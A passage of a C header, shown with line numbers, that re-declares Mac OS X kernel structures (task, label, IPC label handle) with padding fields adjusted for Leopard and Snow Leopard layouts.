unsigned int count; /* how many descriptors in table */ 52 | struct real_descriptor ldt[0]; /* descriptor table (variable) */ 53 | }; 54 | 55 | #define MAC_MAX_SLOTS 7 56 | 57 | struct label { 58 | int l_flags; 59 | union { 60 | void *l_ptr; 61 | long l_long; 62 | } l_perpolicy[MAC_MAX_SLOTS]; 63 | }; 64 | 65 | typedef struct ipc_labelh 66 | { 67 | natural_t lh_references; 68 | int lh_type; 69 | struct label lh_label; 70 | ipc_port_t lh_port; 71 | //decl_lck_mtx_data(, lh_lock_data) 72 | uint32_t lh_lock_data[1]; 73 | } *ipc_labelh_t; 74 | 75 | 76 | #define MACHINE_TASK \ 77 | struct user_ldt *i386_ldt; \ 78 | void* task_debug; 79 | 80 | #define TASK_PORT_REGISTER_MAX 3 81 | 82 | #define task_lock(task) lck_mtx_lock(&(task)->lock) 83 | #define task_unlock(task) lck_mtx_unlock(&(task)->lock) 84 | 85 | struct task { 86 | /* Synchronization/destruction information */ 87 | //decl_lck_mtx_data(,lock) /* Task's lock */ 88 | //lck_mtx_t *lock; 89 | uint32_t lock; 90 | uint32_t pad_lock; // leopard/snow padding 91 | 92 | uint32_t ref_count; /* Number of references to me */ 93 | boolean_t active; /* Task has not been terminated */ 94 | boolean_t halting; /* Task is being halted */ 95 | 96 | /* Miscellaneous */ 97 | vm_map_t map; /* Address space description */ 98 | 99 | uint32_t pad_tasks; // snow leopard padding 100 | 101 | queue_chain_t tasks; /* global list of tasks */ 102 | void *user_data; /* Arbitrary data settable via IPC */ 103 | 104 | /* Threads in this task */ 105 | queue_head_t threads; 106 | 107 | processor_set_t pset_hint; 108 | struct affinity_space *affinity_space; 109 | 110 | int thread_count; 111 | uint32_t active_thread_count; 112 | int suspend_count; /* Internal scheduling only */ 113 | 114 | /* User-visible scheduling information */ 115 | integer_t user_stop_count; /* outstanding stops */ 116 | 117 | task_role_t role; 118 | 119 | integer_t priority; /* base priority for threads */ 120 | integer_t max_priority; /* maximum priority for threads */ 121 | 122 | /* Task security and audit tokens */ 123 | security_token_t sec_token; 124 | audit_token_t audit_token; 125 | 126 | /* Statistics */ 127 | uint64_t total_user_time; /* terminated threads only */ 128 | uint64_t total_system_time; 129 | 130 | /* Virtual timers */ 131 | uint32_t vtimers; 132 | 133 | /* IPC structures */ 134 | //decl_lck_mtx_data(,itk_lock_data) 135 | uint32_t itk_lock_data[1]; 136 | struct ipc_port *itk_self; /* not a right, doesn't hold ref */ 137 | struct ipc_port *itk_nself; /* not a right, doesn't hold ref */ 138 | struct ipc_port *itk_sself; /* a send right */ 139 | struct exception_action exc_actions[EXC_TYPES_COUNT]; 140 | /* a send right each valid element */ 141 | struct ipc_port *itk_host; /* a send right */ 142 | struct ipc_port *itk_bootstrap; /* a send right */ 143 | struct ipc_port *itk_seatbelt; /* a send right */ 144 | struct ipc_port *itk_gssd; /* yet another send right */ 145 | struct ipc_port *itk_task_access; /* and another send right */ 146 | struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX]; 147 | /* all send rights */ 148 | 149 | struct ipc_space *itk_space; 150 | 151 | /* Synchronizer ownership information */ 152 | queue_head_t semaphore_list; /* list of owned semaphores */ 153 | queue_head_t lock_set_list; /* list of owned lock sets */ 154 | int semaphores_owned; /* number of semaphores owned */ 155 | int lock_sets_owned; /* number of lock sets owned */ 156 | 157 | /* Ledgers */ 158 | struct ipc_port *wired_ledger_port; 159 | struct ipc_port *paged_ledger_port; 160 | unsigned int priv_flags; /* privilege resource flags */ 161 | #define VM_BACKING_STORE_PRIV 0x1 162 | 163 | MACHINE_TASK 164 | 165 | integer_t faults; /* faults counter */ 166 | integer_t pageins; /* pageins counter */ 167 | integer_t cow_faults; /* copy on write fault counter */ 168 | integer_t messages_sent; /* messages sent counter */ 169 | integer_t messages_received; /* messages received counter */ 170 | integer_t syscalls_mach; /* mach system call counter */ 171 | integer_t syscalls_unix; /* unix system call counter */ 172 | uint32_t c_switch; /* total context switches */ 173 | uint32_t p_switch; /* total processor switches */ 174 | uint32_t ps_switch; /* total pset switches */ 175 | //#ifdef MACH_BSD 176 | uint32_t pad1; 177 | uint32_t pad2; 178 | 179 | void *bsd_info; 180 | //#endif 181 | struct vm_shared_region *shared_region; 182 | uint32_t taskFeatures[2]; /* Special feature for this task */ 183 | #define tf64BitAddr 0x80000000 /* Task has 64-bit addressing */ 184 | #define tf64BitData 0x40000000 /* Task has 64-bit data registers */ 185 | #define task_has_64BitAddr(task) \ 186 | (((task)->taskFeatures[0] & tf64BitAddr) != 0) 187 | #define task_set_64BitAddr(task) \ 188 | ((task)->taskFeatures[0] |= tf64BitAddr) 189 | #define task_clear_64BitAddr(task) \ 190 | ((task)->taskFeatures[0] &= ~tf64BitAddr) 191 | 192 | mach_vm_address_t all_image_info_addr; /* dyld __all_image_info */ 193 | mach_vm_size_t all_image_info_size; /* section location and size */ 194 | #if CONFIG_MACF_MACH 195 | ipc_labelh_t label; 196 | #endif 197 | 198 | //#if CONFIG_COUNTERS 199 | #define TASK_PMC_FLAG 0x1 /* Bit in "t_chud" signifying PMC interest */ 200 | uint32_t t_chud; /* CHUD flags, used for Shark */ 201 | //#endif 202 | }; 203 | 204 | struct task_l { 205 | /* Synchronization/destruction information */ 206 | //decl_lck_mtx_data(,lock) /* Task's lock */ 207 | //lck_mtx_t *lock; 208 | uint32_t lock; 209 | uint32_t pad_lock; // leopard/snow padding 210 | 211 | uint32_t ref_count; /* Number of references to me */ 212 | boolean_t active; /* Task has not been terminated */ 213 | boolean_t halting; /* Task is being halted */ 214 | 215 | /* Miscellaneous */ 216 | vm_map_t map; /* Address space description */ 217 | 218 | queue_chain_t tasks; /* global list of tasks */ 219 | void *user_data; /* Arbitrary data settable via IPC */ 220 | 221 | /* Threads in this task */ 222 | queue_head_t threads; 223 | 224 | processor_set_t pset_hint; 225 | struct affinity_space *affinity_space; 226 | 227 | int thread_count; 228 | uint32_t active_thread_count; 229 | int suspend_count; /* Internal scheduling only */ 230 | 231 | /* User-visible scheduling information */ 232 | integer_t user_stop_count; /* outstanding stops */ 233 | 234 | task_role_t role; 235 | 236 | integer_t priority; /* base priority for threads */ 237 | integer_t max_priority; /* maximum priority for threads */ 238 | 239 | /* Task security and audit tokens */ 240 | security_token_t sec_token; 241 | audit_token_t audit_token; 242 | 243 | /* Statistics */ 244 | uint64_t total_user_time; /* terminated threads only */ 245 | uint64_t total_system_time; 246 | 247 | /* Virtual timers */ 248 | uint32_t vtimers; 249 | 250 | /* IPC structures */ 251 | //decl_lck_mtx_data(,itk_lock_data) 252 | uint32_t itk_lock_data[1]; 253 | struct ipc_port *itk_self; /* not a right, doesn't hold ref */ 254 | struct ipc_port *itk_nself; /* not a right, doesn't hold ref */ 255 | struct ipc_port *itk_sself; /* a send right */ 256 | struct exception_action exc_actions[EXC_TYPES_COUNT]; 257 | /* a send right each valid element */ 258 | struct ipc_port *itk_host; /* a send right */ 259 | struct ipc_port *itk_bootstrap; /* a send right */ 260 | struct ipc_port *itk_seatbelt; /* a send right */ 261 | struct ipc_port *itk_gssd; /* yet another send right */ 262 | struct ipc_port *itk_task_access; /* and another send right */ 263 | struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX]; 264 | /* all send rights */ 265 | 266 | struct ipc_space *itk_space; 267 | 268 | /* Synchronizer ownership information */ 269 | queue_head_t semaphore_list; /* list of owned semaphores */ 270 | queue_head_t lock_set_list; /* list of owned lock sets */ 271 | int semaphores_owned; /* number of semaphores owned */ 272 | int lock_sets_owned; /* number of lock sets owned */ 273 | 274 | /* Ledgers */ 275 | struct ipc_port *wired_ledger_port; 276 | struct ipc_port *paged_ledger_port; 277 | unsigned int priv_flags; /* privilege resource flags */ 278 | #define VM_BACKING_STORE_PRIV 0x1 279 | 280 | MACHINE_TASK 281 | 282 | integer_t faults; /* faults counter */ 283 | integer_t pageins; /* pageins counter */ 284 | integer_t cow_faults; /* copy on write fault counter */ 285 | integer_t messages_sent; /* messages sent counter */ 286 | integer_t messages_received; /* messages received counter */ 287 | integer_t syscalls_mach; /* mach system call counter */ 288 | integer_t syscalls_unix; /* unix system call counter */ 289 | uint32_t c_switch; /* total context switches */ 290 | uint32_t p_switch; /* total processor switches */ 291 | uint32_t ps_switch; /* total pset switches */ 292 | //#ifdef MACH_BSD 293 | uint32_t pad1; 294 | uint32_t pad2; 295 | 296 | void *bsd_info; 297 | //#endif 298 | struct vm_shared_region *shared_region; 299 | uint32_t taskFeatures[2]; /* Special feature for this task */ 300 | #define tf64BitAddr 0x80000000 /* Task has 64-bit addressing */ 301 | #define tf64BitData 0x40000000 /* Task has 64-bit data registers */ 302 | #define task_has_64BitAddr(task) \ 303 | (((task)->taskFeatures[0] & tf64BitAddr) != 0) 304 | #define task_set_64BitAddr(task) \ 305 | ((task)->taskFeatures[0] |= tf64BitAddr) 306 | #define task_clear_64BitAddr(task) \ 307 | ((task)->taskFeatures[0] &= ~tf64BitAddr) 308 | 309 | mach_vm_address_t all_image_info_addr; /* dyld __all_image_info */ 310 | mach_vm_size_t all_image_info_size; /* section location and size */ 311 | #if CONFIG_MACF_MACH 312 | ipc_labelh_t label; 313 | #endif 314 | 315 | //#if CONFIG_COUNTERS 316 | #define TASK_PMC_FLAG 0x1 /* Bit in "t_chud" signifying PMC interest */ 317 | uint32_t t_chud; /* CHUD flags, used for Shark */ 318 | //#endif 319 | }; 320 | 321 | //typedef struct task_sl *task_sl_t; 322 | typedef struct task_l *task_l_t; --------------------------------------------------------------------------------